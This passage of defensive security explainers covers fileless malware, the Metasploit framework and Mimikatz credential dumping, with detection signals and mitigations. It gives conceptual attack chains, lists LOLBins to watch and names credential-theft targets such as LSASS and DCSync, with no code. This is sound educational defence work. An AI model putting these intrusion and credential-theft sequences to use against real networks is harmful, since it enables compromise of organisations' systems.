surface.** Disable or restrict PowerShell v2, Windows Script Host, and macros where they are not needed. Every interpreter you remove is one the attacker cannot borrow. 6. **Watch registry and WMI for persistence.** Alert on new WMI event subscriptions and unusual auto-run keys. These are where fileless infections hide across reboots. The single highest-value control here is PowerShell script-block logging. It captures the decoded script the attacker actually ran, which turns an unreadable encoded command line into concrete evidence you can detect and investigate. Enable it before you need it. The attackers who favour these techniques are the ones you least want dwelling on your network: espionage crews and ransomware affiliates who prize stealth. To see which groups build their operations around living-off-the-land tradecraft, our Threat Groups directory maps the actors and the techniques they reuse across campaigns. Fileless malware is a reminder that trust is a resource attackers can spend. The durable defence is the ability to see what trusted tools are actually doing, and to constrain them before they are turned against you. ## Where the code actually lives If nothing malicious is written to disk, the natural question is where the payload runs. The answer is memory, and there are a few recurring ways attackers get code executing there without a file. The most direct is to have a trusted interpreter fetch and run code that never lands as an executable. PowerShell can download a script and execute it in the current process from a string in memory. A signed binary can be handed a remote script location and asked to run its contents. In each case the bytes that do the work exist only as data inside a running, trusted process. A second route is process injection. The attacker starts or opens a legitimate process, allocates memory inside it, writes shellcode there, and points a thread at it. The host process is signed and trusted, its name looks normal in a process list, and yet it now runs attacker code. On MITRE ATT&CK this clusters around process injection techniques, and it is a favourite because the malicious activity wears a trusted process as a disguise. A third route stores the payload somewhere that is not a conventional file: an encoded blob in a registry value, a WMI class property, or a scheduled task definition. On each trigger a small launcher reads the blob, decodes it, and runs it in memory. The disk holds only encoded data in a configuration store, not an executable a scanner recognises. Very few intrusions touch disk literally never. A phishing document is a file. A downloaded script may briefly exist on disk. What puts an attack in the fileless category is that the core malicious logic avoids leaving a conventional malware executable for a scanner to match, favouring memory, trusted interpreters, and configuration stores instead. Reading fileless as a hard absolute leads defenders to miss the mostly-fileless attacks that make up the real population. ## A worked example of a living-off-the-land chain Trace a concrete sequence to see how trusted parts combine into an untrusted whole. None of the individual steps requires a novel exploit. 1. A user opens a document delivered by phishing and enables content, which runs an embedded macro. 2. The macro launches `powershell.exe` with an encoded command. On disk there is still only the document; PowerShell is a signed system tool. 3. The encoded command instructs PowerShell to reach out to a remote host and pull down a script, which it runs directly in memory without saving it. 4. That script injects a stage into a legitimate running process, so the ongoing activity is attributed to a trusted binary rather than to PowerShell. 5. For persistence, the script writes an encoded payload into a registry run key and registers a WMI event subscription that relaunches the in-memory stage after a reboot. 6. Using more living-off-the-land tools, the attacker reads credentials and moves laterally, each action resembling routine administration. At no point does a novel malicious executable sit on the drive. The parent-child relationships are the story: a word processor spawning a shell, a shell reaching out to the network, a signed utility hosting injected code. Those relationships are what behavioural detection watches, because the individual binaries are all trusted. ## Detection signals Since there is no file to match, detection turns on behaviour and relationships. Concrete indicators worth alerting on: - **Office applications spawning interpreters.** A word processor or spreadsheet launching PowerShell, the command shell, or a script host is abnormal in most environments and is a classic initial-execution tell. - **Interpreters running encoded or obfuscated commands.** A PowerShell invocation with an encoded command argument, or long base64-like blobs on the command line, indicates an attempt to hide the real instructions. - **Trusted binaries making unexpected network connections.** A tool like `rundll32`, `regsvr32`, or `mshta` reaching out to the internet has stepped outside its normal job. - **New WMI event subscriptions and unusual auto-run registry keys.** These are the hiding places for fileless persistence. New or modified entries here deserve investigation. - **Signed utilities being fed remote script locations.** A LOLBin invoked with a URL or a remote path as an argument is often proxying execution of attacker content. - **Process injection patterns.** Memory being allocated and written in another process, followed by a new thread, is a strong signal that a trusted process is hosting foreign code. The reason these signals work is that the abused tools do have legitimate uses, so the alert cannot be on the tool alone. Baseline what normal administration looks like in your environment: which hosts run PowerShell, which parent processes launch it, where scripts come from. Then the abnormal chain, a document spawning an encoded PowerShell that connects out, stands clear of the baseline. Detection here is about relationships and context, not file hashes. ## Fileless techniques compared with file-based malware Contrasting fileless techniques with traditional file-based malware clarifies why the old defences fall short and where the new ones apply. | Property | File-based malware | Fileless techniques | |---|---|---| | Primary artefact | A malicious executable on disk | Code in memory, trusted binaries, config stores | | How it is caught | Signature and hash matching | Behavioural and relationship analysis | | Where persistence lives | A file plus an auto-run entry | Registry blob, WMI subscription, scheduled task | | Effect of a reboot | Payload file remains | In-memory stage gone, relauncher may restore it | | What blocks it | On-access file scanning, quarantine | Script logging, EDR, application control | | Attacker's disguise | Obfuscated or packed binary | Trust of a signed, pre-installed tool | The right-hand column is why a file-focused defender can look at a compromised machine and see nothing wrong. The processes are legitimate and the disk is clean of executables. Only when you inspect what those trusted processes did, and how they were launched, does the intrusion become visible. See [LOLBins Explained](/living-off-the-land-explained) for the specific binaries that populate that column. ## Common misconceptions A handful of mistaken beliefs make fileless attacks more effective than they should be. - **"Fileless means it never touches disk."** Most such attacks touch disk somewhere: a phishing document, a briefly staged script, an encoded blob in the registry. The defining trait is the avoidance of a conventional malware executable, not perfect diskless purity. - **"A reboot cleans an in-memory infection."** Only if there is no persistence. Attackers routinely store a relauncher in the registry or a WMI subscription that restores the in-memory stage after restart. The disk stays free of executables while the infection survives reboots. - **"Antivirus will catch PowerShell abuse."** Blocking PowerShell by identity would break the operating system, and its hash is on every allowlist. The abuse is caught by logging what the script actually does and by watching process relationships, not by a signature on the interpreter. - **"We do not use PowerShell, so we are safe."** The living-off-the-land toolkit is broad. If PowerShell is constrained, attackers reach for WMI, the script host, `mshta`, `rundll32`, `regsvr32`, and others. Reducing one interpreter helps; it does not remove the class. - **"Encoded command lines are inherently malicious."** Encoding is common and sometimes legitimate. The signal is encoding combined with a suspicious parent process and outbound network activity. Context turns a neutral technique into an alert. ## How the technique rose Fileless tradecraft grew as endpoint defences got better at catching files. When signature-based antivirus made dropping a novel executable risky, attackers shifted to tools that were already trusted and already present, so there was nothing new for a scanner to flag. The approach spread from targeted espionage operations, which prized the stealth, into commodity crime and ransomware affiliate playbooks, because it is effective and the tooling is public. The defensive response followed. Interpreters gained detailed logging, most importantly PowerShell script-block logging, which records the decoded content a script actually executed even when the command line was obfuscated. Endpoint detection and response products moved the focus from files to behaviour, recording process trees, network connections, and memory operations so that a trusted binary behaving untrustworthily becomes visible. Application control frameworks added the ability to force interpreters into constrained modes and to block the rarely-needed LOLBins outright. The arc mirrors the attackers' move: as they abandoned files, defenders stopped relying on files and started watching behaviour. Adopting those controls, script logging, behavioural EDR, application control, and registry and WMI monitoring, is how a defender keeps pace with a technique built specifically to defeat the file scanner. ## Why investigation is harder Fileless techniques do not only evade prevention. They complicate the response after an intrusion is found, and understanding why shapes how you prepare. Traditional forensics leans heavily on disk artefacts: the malicious file itself, its timestamps, its location, and the auto-run entry that launched it. Those artefacts anchor an investigation and answer what ran and when. Remove the file and much of that anchor disappears. Two consequences follow. The first is that evidence is volatile. Code that only ever lived in memory is gone when the process exits or the machine powers off. If a responder shuts a suspicious host down before capturing memory, the most important evidence may vanish. This is why memory acquisition and rich process logging matter so much for these cases: they preserve what the disk does not hold. The second is that attribution to a specific action is harder. When the activity is attributed to `powershell.exe` or an injected legitimate process, a responder cannot simply hash a file and look it up. They have to reconstruct behaviour from logs: which process launched which, what commands ran decoded, what network connections opened, and what registry or WMI changes appeared. This is the practical case for turning on the visibility controls in advance. Script-block logging preserves the decoded commands after the process is gone. Behavioural EDR keeps a record of the process tree and network activity that outlives the memory it describes. Monitoring of registry run keys and WMI subscriptions captures the persistence that a disk scan would miss. Collected before an incident, these logs turn an otherwise ghostly intrusion into a reconstructable timeline. Collected after, they do not exist. The preparation is the defence. ## Frequently asked questions **Does fileless malware really never write to disk?** Rarely in a literal sense. Most attacks in the category touch disk at some point, through a phishing document, a briefly staged script, or an encoded blob in the registry. What makes them fileless is that the core malicious logic avoids a conventional executable that a scanner could match. **Why can antivirus not just block PowerShell?** Because PowerShell is a legitimate, signed administration tool present on every Windows system, and countless normal tasks depend on it. Blocking it by identity would break the operating system. The answer is to log what it does and constrain it, so abuse is caught by behaviour rather than by blocking the tool. **What is the single most valuable control?** PowerShell script-block logging is the highest-value starting point on Windows. It captures the decoded script an attacker actually ran, turning an obfuscated command line into concrete, searchable evidence. Enable it and ship the logs somewhere they can be queried before you need them. **How does fileless persistence survive a reboot without a file?** The payload is stored as data, not as an executable: an encoded blob in a registry run key, a WMI event subscription, or a scheduled task. A small launcher reads and runs it in memory on each trigger. The disk holds only encoded configuration, so a file scanner finds nothing while the infection persists. **Are Linux and macOS affected too?** The concept applies anywhere trusted interpreters and system tools exist. The specific binaries differ, and the Windows registry and WMI mechanisms are platform-specific, but memory-only execution and abuse of built-in scripting are cross-platform ideas. The Windows toolkit is simply the most documented. **How is this different from a rootkit?** A rootkit is about hiding a presence, often deep in the system, to maintain stealthy control. Fileless malware is about executing without leaving a conventional file, frequently by borrowing trusted tools. The goals can overlap, and some intrusions use both, but the defining trait of fileless is the avoidance of a malware executable. See [What Is a Rootkit](/what-is-a-rootkit). **Can application control stop these attacks?** It helps significantly. Frameworks like WDAC and AppLocker can force interpreters into constrained modes and block the less common LOLBins that have no business running in a given environment. It is one layer among several; pair it with logging, behavioural EDR, and monitoring of registry and WMI persistence. ## Related guides - [LOLBins Explained](/living-off-the-land-explained) - [Living Off the Land Explained](/living-off-the-land-explained) - [Malware Persistence Techniques](/malware-persistence-techniques) - [What Is a Rootkit](/what-is-a-rootkit) ### Sources - MITRE ATT&CK: Command and Scripting Interpreter (T1059) (MITRE): https://attack.mitre.org/techniques/T1059/ - MITRE ATT&CK: System Binary Proxy Execution (T1218) (MITRE): https://attack.mitre.org/techniques/T1218/ - CISA: Identifying and Mitigating Living Off the Land Techniques (CISA): https://www.cisa.gov/ --- ## What Is Metasploit? The Exploitation Framework, Explained > A beginner-friendly defensive explainer on Metasploit: what the exploitation framework is, its legitimate and criminal uses, and how to detect it. - URL: https://blog.pwnsy.com/what-is-metasploit - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: malware - Tags: metasploit, exploitation-framework, penetration-testing, detection-engineering, blue-team - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling) ### TL;DR - Metasploit is an open-source exploitation framework that bundles known exploits, payloads, and post-exploitation tools into one system used mainly for security testing. - Its legitimate purpose is penetration testing and vulnerability validation, but the same free tooling is available to criminals, so defenders see it on both sides. - Its signature payload, Meterpreter, is an in-memory implant that gives an operator interactive control of a compromised machine. - Detection relies on well-known default artifacts, network signatures, and the process and memory behaviour that its payloads produce on a host. ### Key Takeaways - Metasploit is a framework: a modular collection of exploits, payloads, encoders, and post-exploitation modules, not a single virus. - The tool itself is neutral; intent and authorization decide whether a given use is a sanctioned test or an attack. - Meterpreter runs in memory and communicates over a controllable channel, so it behaves like other command-and-control implants. - Default configurations leave recognisable artifacts that catch operators who do not customize, which is common. - Patching the vulnerabilities its exploit modules target removes the easiest paths it offers, which is the most durable defense. If you have spent any time around security testing, you have heard of Metasploit. It is one of the best-known tools in the field, an open-source framework that collects a large library of exploits and the machinery to use them in one place. For someone learning defense, it is worth understanding early, because Metasploit sits right at the boundary between legitimate security work and attack. The tool is neutral. A penetration tester uses it to prove a vulnerability is real before a client fixes it. A criminal uses the same free download to break in. What separates the two is authorization and intent, not the software. This guide explains what the framework is and, since it turns up in real intrusions, how defenders recognise it. ## What a framework means here Metasploit is not a single program that does one thing. It is a framework, meaning a modular system where interchangeable pieces snap together. The main building blocks are worth knowing by name: - **Exploits.** Code that takes advantage of a specific vulnerability to gain a foothold. - **Payloads.** The code that runs on the target once an exploit succeeds, from a simple command shell to a full implant. - **Encoders.** Routines that reshape a payload to help it evade naive signature matching. - **Auxiliary modules.** Scanners and other tools that do not exploit anything but support the process, like checking which hosts are vulnerable. - **Post-exploitation modules.** Tools for what happens after access: gathering information, escalating privileges, and moving further. An operator picks a vulnerability, selects a matching exploit, pairs it with a payload, and launches. The framework handles the plumbing. This modularity is the whole point, and it is why one tool can target so many different weaknesses. The separation between exploit and payload is worth dwelling on, because it explains a lot about how the tool behaves. The exploit is the way in, tied to one specific flaw. The payload is what the attacker actually wants to run once inside, and it is interchangeable. The same payload can be delivered by dozens of different exploits, and the same exploit can carry any of many payloads. For a defender this means the exploit and the payload leave separate traces: one at the moment of the break-in, tied to a known vulnerability, and one in the behaviour of whatever code runs afterward. Detecting either is useful, and detecting both together is strong evidence. ## Meterpreter, the signature payload The payload most associated with Metasploit is **Meterpreter**. It is an advanced implant that gives the operator an interactive session on the compromised machine: browsing files, capturing input, gathering credentials, and pivoting to other systems. Two design choices matter for defenders. First, Meterpreter runs largely **in memory**, avoiding writing an obvious file to disk, which sidesteps simple file-scanning. Second, it communicates over a **controllable channel** back to the operator, making it a command-and-control implant in the same family as other C2 tooling. That means much of what applies to detecting C2 in general applies to Meterpreter too: watch the callback behaviour and the process that produces it. It is also worth knowing that not every Metasploit payload is a full implant. Payloads range from a plain command shell, which just gives the operator a remote prompt, up to Meterpreter with its rich feature set. Simpler payloads are lighter and quieter but give the attacker less; Meterpreter gives more but has a larger footprint to detect. Operators choose based on how much they need and how much noise they can afford. Recognising that spread helps a defender understand why some intrusions show an obvious feature-rich implant while others leave only a thin remote shell that is easy to overlook. ## Legitimate use versus abuse The legitimate case is straightforward. Penetration testers and red teams use Metasploit under a signed authorization to find and demonstrate weaknesses so an organization can fix them before a real attacker arrives. It is a standard part of professional security assessment, and NIST's testing guidance treats controlled exploitation as a valid method. The abuse case uses the identical tool without permission. Because Metasploit is free, open, and well-documented, it lowers the skill needed to weaponise a known vulnerability. Its exploit modules typically target flaws that already have public detail, which maps to ATT&CK techniques like [Exploit Public-Facing Application (T1190)](https://attack.mitre.org/techniques/T1190/) and [Exploitation for Client Execution (T1203)](https://attack.mitre.org/techniques/T1203/). Different actors reach for it at different stages, and our Threat Groups directory tracks which tooling various groups favour, which helps put a given detection in context. The framework's role in real intrusions is usually early. It is a common way to gain the first foothold or to validate that a vulnerability is exploitable before more custom tooling takes over. Less sophisticated actors may run an entire operation from it, defaults and all, while more capable groups use it for the opening move and then switch to quieter, purpose-built implants for the long haul. Both patterns are worth recognising. The unpolished operator leaves loud, well-documented traces that standard detections catch, and the careful one still has to get through the initial exploitation stage, which is where an alert can end the intrusion before it matures. Finding Metasploit artifacts on your network is not automatically evidence of an attack, because your own testers may be authorized to use it. It is also not something to wave away. The correct response is to confirm, out of band, whether an approved engagement is running. If none is, treat it as an intrusion. Authorization is the only thing that separates a test from a breach here. ## How to detect and defend Because the framework is widely used and heavily documented, defenders have a lot of signal to work with, especially against operators who run it with defaults. | Signal | What to look for | |---|---| | Network signatures | Known exploit and payload patterns, default staging behaviour | | Default artifacts | Recognisable default names, ports, and configuration left unchanged | | In-memory implant | Meterpreter structures visible to memory scanning and YARA rules | | C2 behaviour | Callback traffic from an unexpected process on a beacon-like pattern | | Post-exploitation | Privilege escalation, credential access, and lateral movement after a foothold | 1. **Patch the targets.** Metasploit's exploit modules aim at known vulnerabilities. Timely patching, especially of internet-facing services, removes the easiest paths the framework offers. This is the single most effective defense, because it deletes the door rather than watching it. 2. **Watch internet-facing services.** Exploitation of public-facing applications is a common opening move. Monitor those services for exploit attempts and anomalous behaviour, and reduce their exposed attack surface. 3. **Detect the payload in memory.** Meterpreter's in-memory footprint is detectable with memory scanning and behavioural endpoint tooling, even when nothing lands on disk. Injection into other processes is a telling behaviour. 4. **Hunt the C2 callback.** Treat Meterpreter like any implant. Look for callback traffic on a beacon-like schedule from a process that has no business talking to the internet, and correlate it with host behaviour. 5. **Catch the defaults.** Many operators never change default module settings, so default signatures, ports, and artifacts still work. Public detection rule sets encode these and remain useful against unsophisticated use. 6. **Watch post-exploitation behaviour.** After a foothold, the framework's modules generate familiar activity: credential dumping, privilege escalation, and lateral movement. Detecting those stages catches the intrusion even if the initial exploit slipped past. Before tuning exotic detections, know which of your systems are exploitable and exposed. Metasploit is most dangerous where a known, unpatched vulnerability meets internet reachability. Close that gap and you defeat the framework's easiest wins without writing a single detection rule, then layer memory and C2 detection on top for what remains. Metasploit is a good tool to learn defense against precisely because it is so ordinary in the security world. It is the shared toolkit of testers and attackers alike, which means its behaviour is well understood and well documented on both sides. Patch what it targets, know what its payloads look like in memory and on the wire, and remember that the deciding question is always whether the person driving it had permission. ## Staged and stageless payloads One design detail shapes what a defender sees on the wire, so it is worth understanding: the difference between staged and stageless payloads. A **staged** payload arrives in two parts. The exploit delivers a tiny first piece, called a stager, whose only job is to open a connection back to the operator and pull down the larger second stage, the real implant such as Meterpreter. The stager is small because the exploit often has very little room to work with. Once it runs, it fetches and loads the rest into memory. A **stageless** payload packs the whole implant into a single self-contained delivery. Nothing is fetched afterward. This makes a larger initial payload and removes the follow-up download. The distinction matters for detection. A staged payload produces a characteristic pattern: a small initial foothold followed almost immediately by a callback that downloads more code, then a fully featured session. That download step is a network event a defender can catch. A stageless payload skips it, so the network tell is different, and detection leans more on the in-memory footprint and the later callback traffic. Knowing which shape you are looking at helps read an intrusion and tune where the alerts sit. ## The framework's structure and interfaces The framework is organised so that the modular pieces described above can be combined quickly, and knowing the layout helps a defender interpret reports and artifacts. - **Modules.** The exploits, payloads, encoders, auxiliary, and post-exploitation modules are the building blocks, each a self-contained unit an operator selects and configures. - **The console.** The primary interface is a command-line console where an operator chooses a module, sets options such as the target address and payload, and launches. Much public tooling and training assumes this console, which is why its default behaviours are so widely documented. - **The database.** The framework can store hosts, services, and results, which supports larger engagements and leaves recognisable structures behind. - **Session handling.** After a successful exploit, the framework manages sessions, the live connections to compromised hosts, and lets an operator interact with each one. The point for a defender is that this structure produces consistent, well-documented behaviour. Default module options, default payload configurations, and default network patterns are all published, so detection content can target them directly. Operators who leave those defaults in place, which is common among less sophisticated users, are the easiest to catch. ## A conceptual walkthrough of an intrusion step Tracing how the pieces combine in a single foothold makes the detection points concrete. No real intrusion is described here, only the mechanical order the framework follows. 1. **Reconnaissance and selection.** An auxiliary scanning module identifies a host running a service with a known vulnerability. The operator picks the matching exploit module. 2. **Configuration.** The operator sets the target address, chooses a payload such as Meterpreter, and selects staged or stageless delivery along with the callback address the payload will reach. 3. **Exploitation.** Launching the exploit sends the crafted input that triggers the vulnerability. If it works, the target runs the payload. This maps to [Exploit Public-Facing Application (T1190)](https://attack.mitre.org/techniques/T1190/) for a server or [Exploitation for Client Execution (T1203)](https://attack.mitre.org/techniques/T1203/) for a client-side flaw. 4. **Session establishment.** The payload calls back to the operator, and the framework opens a session. For a staged payload this is where the second stage downloads. 5. **Post-exploitation.** With a session open, the operator runs post modules to gather information, escalate privilege, harvest credentials, and pivot toward other hosts. Each step offers a detection or prevention opportunity. Patching removes step three. Monitoring internet-facing services can catch the exploitation attempt. Memory scanning and C2 detection catch the payload and its callback. Watching for credential access and lateral movement catches the post-exploitation stage even if the earlier steps slipped by. ## Detection signals in depth The signals below are concrete indicators to instrument, and layering several raises confidence rather than relying on any one. - **Default network patterns.** Staging behaviour and default payload configurations produce recognisable traffic that public detection rule sets encode. These catch operators who never change defaults. - **The in-memory implant.** Meterpreter runs largely in memory, and its structures are detectable with memory scanning and behavioural endpoint tooling even when nothing lands on disk. Injection of the implant into another process is itself a strong signal. - **Callback traffic on a beacon pattern.** A process reaching out to an external host on a regular schedule, especially one with no business talking to the internet, is the C2 tell shared with other implants. - **Exploitation attempts against exposed services.** Repeated crafted requests to an internet-facing service, or a service crashing and then spawning a shell, point at the exploitation stage. - **Post-exploitation activity.** Credential dumping, privilege escalation, and lateral movement following a foothold are familiar behaviours that catch the intrusion regardless of how it began. A large share of Metasploit detections work because operators leave default module settings, payload names, and network behaviours unchanged. Sophisticated actors customise these, so defaults will not catch everyone. They remain worth encoding, because they cleanly catch unsophisticated use at low cost, and they free your deeper detection effort for the operators who bother to blend in. ## Encoders, evasion, and why defaults still get caught Encoders are the framework modules that reshape a payload so it survives delivery and slips past naive signature matching. Their original purpose was practical: some exploits cannot tolerate certain byte values in the payload, such as a null byte that would truncate a string, so an encoder rewrites the payload to avoid those bad characters while preserving what it does when it runs. Evasion of simple signatures came along as a side benefit. A defender should hold a realistic view of what encoding achieves. Reshaping the bytes changes how the payload looks at rest, and it does nothing to change what the payload does once it executes. The in-memory implant still has to allocate memory, run its code, and call back to the operator, and those behaviours are where modern detection sits. This is why encoding a well-known payload rarely defeats behavioural endpoint tooling or memory scanning, even when it slips past a plain byte-pattern match. It also explains why default configurations keep getting caught despite the availability of encoders. Many operators reach for the framework precisely because it is quick and requires little customisation, so they accept default payloads, default encoders, and default network settings. Public detection rule sets encode exactly those defaults. The operators who take the time to customise payloads, rewrite staging, and blend their callbacks into normal traffic are harder to catch, and they are also the minority. Encoding the reality of that split into your detection strategy, cheap coverage for defaults plus deeper behavioural detection for the careful few, spends effort where it pays off. ## How Metasploit compares to Cobalt Strike Metasploit is often mentioned alongside Cobalt Strike, and the contrast clarifies what each is for. | Aspect | Metasploit | Cobalt Strike | |---|---|---| | Licensing | Open-source framework, freely available | Commercial product, frequently pirated by criminals | | Primary strength | Broad library of exploits and payloads | Polished command-and-control and team collaboration | | Signature payload | Meterpreter | Beacon | | Typical role | Initial access and vulnerability validation | Post-exploitation and long-term command-and-control | | Detection posture | Well-documented defaults, strong public rule coverage | Heavily studied, extensive detection content for its beacon | Both are legitimate tools used by professionals and abused by criminals, and both are heavily instrumented by defenders precisely because they are so common. See [What Is Cobalt Strike](/what-is-cobalt-strike) for the deeper treatment of that tool. ## Common misconceptions **"Finding Metasploit means we are under attack."** Your own testers may be authorized to use it. The correct response is to confirm out of band whether an approved engagement is running before concluding either way. Authorization is the only thing that separates a sanctioned test from a breach here. **"Metasploit is a virus."** It is a modular framework, a collection of exploits, payloads, and tools, rather than a single self-replicating program. Its payloads behave like implants, and the framework itself is a testing platform. **"Blocking the framework's binaries protects us."** The exploit techniques and payload behaviours are what reach your network, and those appear inside other tooling and custom variants too. Detection built on behaviour, patching, and exposure reduction is more durable than blocking a specific binary. **"It only threatens unpatched internet-facing servers."** Public-facing exploitation is a common opening move, and the framework also carries client-side exploits and a full post-exploitation suite. Once a foothold exists, the later stages matter regardless of how the first one was gained. **"Only unskilled attackers use it."** Capable operators often use Metasploit for the opening move and then switch to quieter, purpose-built implants. The initial exploitation stage is still a place to detect them, which is why the framework stays relevant against sophisticated actors. ## Frequently asked questions **Is it legal to use Metasploit?** Using it against systems you own or are explicitly authorized to test is legal and standard professional practice. Using it against systems without permission is illegal in most jurisdictions. The software is neutral, and authorization decides the legality of a given use. **What is Meterpreter?** Meterpreter is the framework's signature payload, an advanced in-memory implant that gives an operator an interactive session on a compromised host: browsing files, capturing input, gathering credentials, and pivoting. Because it runs in memory and communicates over a controllable channel, it behaves like other command-and-control implants and is detected with memory scanning and C2 analysis. **How do defenders detect it?** Through a combination of default network signatures, memory detection of the in-memory implant, C2 callback analysis, and monitoring of post-exploitation behaviour such as credential access and lateral movement. Patching the vulnerabilities its exploit modules target is the most durable defense, because it removes the easiest paths entirely. **What is the single most effective defense?** Timely patching of the vulnerabilities its exploit modules target, especially on internet-facing services. This deletes the door rather than watching it. Layer memory and C2 detection on top to catch what remains, and monitor post-exploitation activity to catch intrusions that got a foothold anyway. **Is Metasploit the same as a real attacker's toolkit?** It is one common component. Less sophisticated actors may run an entire operation from it, defaults and all. More capable groups use it for initial access or validation and then move to custom or commercial tooling for the long haul. Recognising both patterns helps a defender interpret what they are seeing. **What is the difference between staged and stageless payloads?** A staged payload delivers a small stager that then downloads the full implant, producing a recognisable download step on the network. A stageless payload contains the whole implant in one delivery and skips that download. The distinction changes which network signals appear, so it affects where detection is most effective. ## Related guides - [What Is Cobalt Strike](/what-is-cobalt-strike) - [The Exploit Market Explained](/the-exploit-market-explained) - [Bug Bounty: Getting Started](/bug-bounty-getting-started) - [Command and Control Explained](/command-and-control-explained) ### Sources - MITRE ATT&CK: Exploitation for Client Execution (T1203) (MITRE): https://attack.mitre.org/techniques/T1203/ - MITRE ATT&CK: Exploit Public-Facing Application (T1190) (MITRE): https://attack.mitre.org/techniques/T1190/ - NIST SP 800-115: Technical Guide to Information Security Testing and Assessment (NIST): https://csrc.nist.gov/pubs/sp/800/115/final --- ## What Is Mimikatz? Credential Dumping and How to Stop It > A defensive explainer on Mimikatz: the credential-dumping tool, how it targets LSASS memory, the attacks it enables, and how Credential Guard defends. - URL: https://blog.pwnsy.com/what-is-mimikatz - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: malware - Tags: mimikatz, credential-theft, lsass, active-directory, blue-team - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling), [Privileged Access Management Explained: Vaults, JIT and Tiering](https://blog.pwnsy.com/privileged-access-management-explained) ### TL;DR - Mimikatz is a well-known credential-dumping tool that extracts passwords, hashes, and authentication tickets from Windows, most famously from LSASS memory. - The credentials it steals let an attacker impersonate users and move across a network using techniques like pass-the-hash and Kerberos ticket abuse. - It is widely built into malware and post-exploitation frameworks, so defenders encounter its capabilities far beyond the original standalone tool. - Defenses include Credential Guard, LSASS protection, least-privilege administration, and detection of the memory access and behaviour that dumping requires. ### Key Takeaways - The core target is LSASS, the Windows process that holds authentication secrets in memory for logged-on users. - Mimikatz maps to MITRE ATT&CK OS Credential Dumping (T1003), especially LSASS Memory (T1003.001), a technique defenders should instrument directly. - Stolen hashes and tickets enable pass-the-hash, pass-the-ticket, overpass-the-hash, and forged tickets like the Golden Ticket. - Credential Guard and Protected Process Light meaningfully raise the cost of dumping LSASS on modern, well-configured Windows. - Because the tool is heavily modified and embedded, behavioural detection of LSASS access beats chasing a specific Mimikatz binary. Once an attacker has a foothold on one Windows machine, their next goal is usually credentials. Not the credentials of that one machine, but the accounts that will let them reach the rest of the network. Mimikatz is the tool that made this step famous. It reaches into Windows and pulls out passwords, password hashes, and authentication tickets, turning a single compromised host into a set of keys for many others. For a defender, Mimikatz is worth understanding because its techniques are everywhere. The original tool is only the reference implementation. Its methods are copied, embedded, and rewritten into countless malware families and frameworks, so the behaviour it pioneered is what you actually defend against. ## What Mimikatz targets Windows needs to keep some authentication secrets available in memory so users do not have to retype a password for every network resource. The process that holds them is the **Local Security Authority Subsystem Service**, or LSASS. It is a normal, essential part of Windows. It is also a vault sitting in memory, and that is what makes it a target. Mimikatz reads the memory of LSASS and extracts what it finds there, which can include password hashes, Kerberos tickets, and in some configurations plaintext or reversibly stored credentials for users who are logged on. On MITRE ATT&CK this is [OS Credential Dumping (T1003)](https://attack.mitre.org/techniques/T1003/), and the LSASS-specific method is [LSASS Memory (T1003.001)](https://attack.mitre.org/techniques/T1003/001/). Beyond live LSASS memory, the same class of technique reaches other credential stores: cached domain credentials, the SAM database of local accounts, and, against a domain controller, replication of account secrets from Active Directory itself. That last method, DCSync, asks a domain controller for password data as though the attacker were another domain controller, which is why it is so damaging. What sits in LSASS depends on how the machine is configured and who has logged on. Each interactive logon can leave authentication material behind for the lifetime of that session, so a shared server where many people sign in accumulates many sets of secrets in one place. Older or misconfigured systems may retain reversibly stored credentials that yield plaintext passwords directly. Modern, hardened Windows stores far less and protects what remains, which is exactly why configuration is the difference between a dump that hands over a domain and one that returns little of use. ## What the stolen credentials unlock Extracting the secret is only step one. The reason credential dumping matters is what those secrets allow next. | Attack | What it uses | What it achieves | |---|---|---| | Pass-the-hash | A stolen NTLM hash | Authenticate as a user without knowing the plaintext password | | Pass-the-ticket | A stolen Kerberos ticket | Reuse an existing authenticated session on other systems | | Overpass-the-hash | A stolen hash to request a ticket | Upgrade a hash into full Kerberos access | | Golden Ticket | The KRBTGT account secret | Forge tickets for any account, a near-total domain compromise | | Silver Ticket | A service account secret | Forge access to a specific service | The theme is impersonation. With the right hash or ticket, the attacker becomes a legitimate user in the eyes of the network and moves laterally without tripping password-based defenses. A single dump of a privileged account on one machine can cascade into control of a whole domain. This is what makes credential dumping a turning point in an intrusion rather than just another step. Up to this moment the attacker is confined to the machines they have exploited. After a successful dump of the right account, they hold valid credentials and can authenticate the way a real employee does, which is far quieter than exploiting each new system. The intrusion shifts from breaking in to logging in, and logging in leaves a very different, much fainter trail. That shift is why defenders treat any credential-access event on a sensitive host as a priority to contain fast. The danger of credential dumping is reuse. If a privileged account, especially a domain administrator, has logged on to a compromised machine, its credentials may sit in that machine's LSASS memory. Dump them and the attacker inherits that privilege everywhere. This is why letting high-privilege accounts log on to ordinary workstations is one of the most costly habits in enterprise security. ## Why chasing the binary does not work It is tempting to treat Mimikatz as a file to block. In practice the tool is one of the most modified pieces of offensive code in existence. Its source is public, so operators recompile it, rename it, obfuscate it, run it only in memory, and fold its functions into larger frameworks and malware. Blocking one binary or one hash catches the laziest cases and misses the rest. The stable thing is the behaviour. Whatever the wrapper, the technique still has to open LSASS and read its memory, or still has to request replication from a domain controller. Those actions are where detection holds up, and this is where our Threat Groups directory helps by tracking which actors lean on credential-dumping and lateral movement, so you know whose playbook you are likely seeing. It also helps to know that dumping is only one way to reach LSASS secrets, and defenders should not narrow their attention to a single method. Some operators avoid touching the process live and instead capture a memory image of LSASS with a legitimate administrative utility, then extract the credentials offline on their own machine, where no security product is watching. Others pull secrets from a captured copy of the registry hives, or harvest Kerberos tickets already cached on the host. The common thread is that each path ends in credentials the attacker did not have before, so the detections worth building focus on access to the sources of those secrets rather than on any one tool or command. ## How to detect and defend Defense splits into two efforts: make the credentials harder to reach, and detect the act of reaching for them. 1. **Enable Credential Guard.** On supported Windows, Credential Guard uses virtualization-based security to isolate LSASS secrets so that even code running with high privilege on the host cannot read them directly. It is one of the strongest mitigations available. 2. **Protect the LSASS process.** Run LSASS as a protected process (Protected Process Light) 